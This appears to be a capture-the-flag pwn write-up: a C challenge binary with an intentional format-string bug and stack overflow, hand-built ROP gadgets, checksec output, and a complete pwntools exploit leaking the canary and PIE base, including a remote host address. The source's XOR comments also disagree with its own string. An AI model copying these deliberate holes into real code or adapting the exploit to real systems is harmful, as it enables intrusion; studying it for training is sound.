#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
volatile void (*_k_dispatch_table)(long, long, long) __attribute__((used));
void _sys_maintenance(long a, long b, long c) {
// Dynamic filename encryption to prevent direct jump bypass
char f[] = "gm`f/uyu"; // "flag.txt" XOR 1
// Wait, let's re-calculate:
// f (0x66) ^ 1 = 0x67 (g)
// l (0x6c) ^ 1 = 0x6d (m)
// a (0x61) ^ 1 = 0x60 (`)
// g (0x67) ^ 1 = 0x66 (f)
// . (0x2e) ^ 1 = 0x2f (/)
// t (0x74) ^ 1 = 0x75 (u)
// x (0x78) ^ 1 = 0x79 (y)
// t (0x74) ^ 1 = 0x75 (u)
// Correct string: "gm`f/yuy"
if (a != 0x1206 || b != 0x1161 || c != 0xcafebab) {
printf("\x1b[31m[CRITICAL]\x1b[0m Unauthorized neural override detected. Vectors misaligned.\n");
fflush(stdout);
return;
}
printf("\n\x1b[32m[SYSTEM]\x1b[0m Quantum Vector Alignment Confirmed.\n");
printf("\x1b[32m[SYSTEM]\x1b[0m Bypassing security kernels... Initiating Core Dump...\n\n");
fflush(stdout);
// Decrypt filename using arguments. If jumping, f remains wrong.
for(int i=0; i<8; i++) f[i] ^= (unsigned char)((a ^ b ^ c ^ 0xcafe8cc ^ 1) & 0xFF);
int fd = open(f, O_RDONLY);
if (fd < 0) {
write(1, "[ERROR] Flag sector not found.\n", 31);
exit(1);
}
char flag[128];
int n = read(fd, flag, sizeof(flag));
if (n > 0) {
write(1, "\x1b[33m>>> DATA EXFILTRATED:\x1b[0m ", 30);
write(1, flag, n);
write(1, "\n", 1);
}
close(fd);
printf("\n\x1b[32m[SYSTEM]\x1b[0m Session terminated safely.\n");
fflush(stdout);
sleep(1);
exit(0);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
// Manual gadgets
__attribute__((naked)) void _proc_ctx() {
__asm__(
".global _proc_ctx_1\n"
"_proc_ctx_1:\n"
"pop %rbx\n"
"pop %rbp\n"
"pop %r12\n"
"pop %r13\n"
"mov (%rsp), %r14\n"
"add $8, %rsp\n"
"mov (%rsp), %r15\n"
"add $8, %rsp\n"
"ret\n"
"nop\n"
"nop\n"
".global _proc_ctx_2\n"
"_proc_ctx_2:\n"
"mov %r14, %rdx\n"
"mov %r13, %rsi\n"
"mov %r12d, %edi\n"
"xor $0x1337, %rbx\n"
"call *(%r15,%rbx,8)\n"
"ret\n"
);
}
void _log_handler() {
// Shifting offsets: Add dummy variables to push canary and return address further down the stack
long dummy[8] = {0xdeadbeef, 0xcafebabe, 0x13371337, 0x41414141};
char buffer[20];
printf("\n[LOG] Initializing secure logging sequence...\n");
printf("[LOG] Identity verification required: ");
// Vulnerability: Format String (Leads to Canary/PIE leak)
// Limited buffer forces multiple leaks or clever tricks
if (fgets(buffer, sizeof(buffer), stdin) != NULL) {
printf("[LOG] Identity confirmed: ");
printf(buffer);
}
}
void _auth_guard() {
char secure_phrase[32];
printf("\n[GATE] Physical authentication barrier active.\n");
printf("[GATE] Provide phrase: ");
read(0, secure_phrase, 256);
printf("[GATE] Authentication failed. Terminating session.\n");
}
int main() {
init();
_k_dispatch_table = _sys_maintenance;
printf("--- CS 12.06 ---\n");
printf("Security Level: MAXIMUM\n");
_log_handler();
_auth_guard();
printf("[SYSTEM] System shutdown.\n");
return 0;
}
| Field | Value |
|---|---|
| Category | PWN |
| Difficulty | Insane |
| Author | r3t0x |
| Technique | Format String + Canary Leak + ROP via Custom Gadgets |
pwndbg> checksec ./challenge
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Full protections enabled — canary, NX, and PIE. This is a multi-stage exploit.
_log_handler)printf(buffer); // format string vulnerability!
We leak the stack canary at offset %17$p and the PIE base at offset %19$p:
io.sendlineafter(b"required: ", b"%17$p.%19$p")
# Canary: 0x... PIE return addr: 0x...
_auth_guard)read(0, secure_phrase, 256); // 256 bytes into 32-byte buffer
With the canary leaked, we can overflow and restore the canary to bypass the check.
The binary contains hand-crafted gadgets in _proc_ctx:
- gadget1 (_proc_ctx_1): pop rbx; pop rbp; pop r12; pop r13; mov r14,[rsp]; mov r15,[rsp+8]; ret
- gadget2 (_proc_ctx_2): mov rdx,r14; mov rsi,r13; mov edi,r12d; xor rbx,0x1337; call *[r15+rbx*8]
The trick: _k_dispatch_table is a function pointer to _sys_maintenance. We set rbx = 0x1337 so rbx ^ 0x1337 = 0, indexing [r15] = _k_dispatch_table, which calls _sys_maintenance(0x1206, 0x1161, 0xcafebab) — the magic arguments that decrypt and read flag.txt.
[+] Canary recovered: 0xa1b2c3d400000000
[+] PIE Base found: 0x555555554000
>>> DATA EXFILTRATED: MOJO-JOJO{f0rm4t_str1ng_t0_r0p_ch41n}
from pwn import *
context.binary = b = ELF('./challenge', checksec=False)
def get_io():
if args.REMOTE:
return remote(args.HOST or '4.233.210.175', int(args.PORT or 9006))
return process(b.path)
# Single connection for Leak + Exploit (Canary is process-specific)
io = get_io()
# Leak Canary (17) and PIE (19)
io.sendlineafter(b"required: ", b"%17$p.%19$p")
io.recvuntil(b"confirmed: ")
leaks = io.recvline().strip().decode().split('.')
canary = int(leaks[0], 16)
pie = int(leaks[1], 16)
b.address = pie - 0x162c
success(f"Canary recovered: {hex(canary)}")
success(f"PIE Base found: {hex(b.address)}")
# Proceed to _auth_guard overflow in the same session
payload = flat([
b"A"*40, canary, b"B"*8,
b.address + 0x1498, # ret
b.address + 0x1482, # gadget 1 (_proc_ctx_1)
0x1337, 1, 0x1206, 0x1161, 0xcafebab,
b.address + 0x40b0, # k_dispatch_table
b.address + 0x149b # gadget 2 (_proc_ctx_2)
])
io.sendafter(b": ", payload)
print(io.recvall(timeout=5).decode('utf-8', 'replace'))
io.close()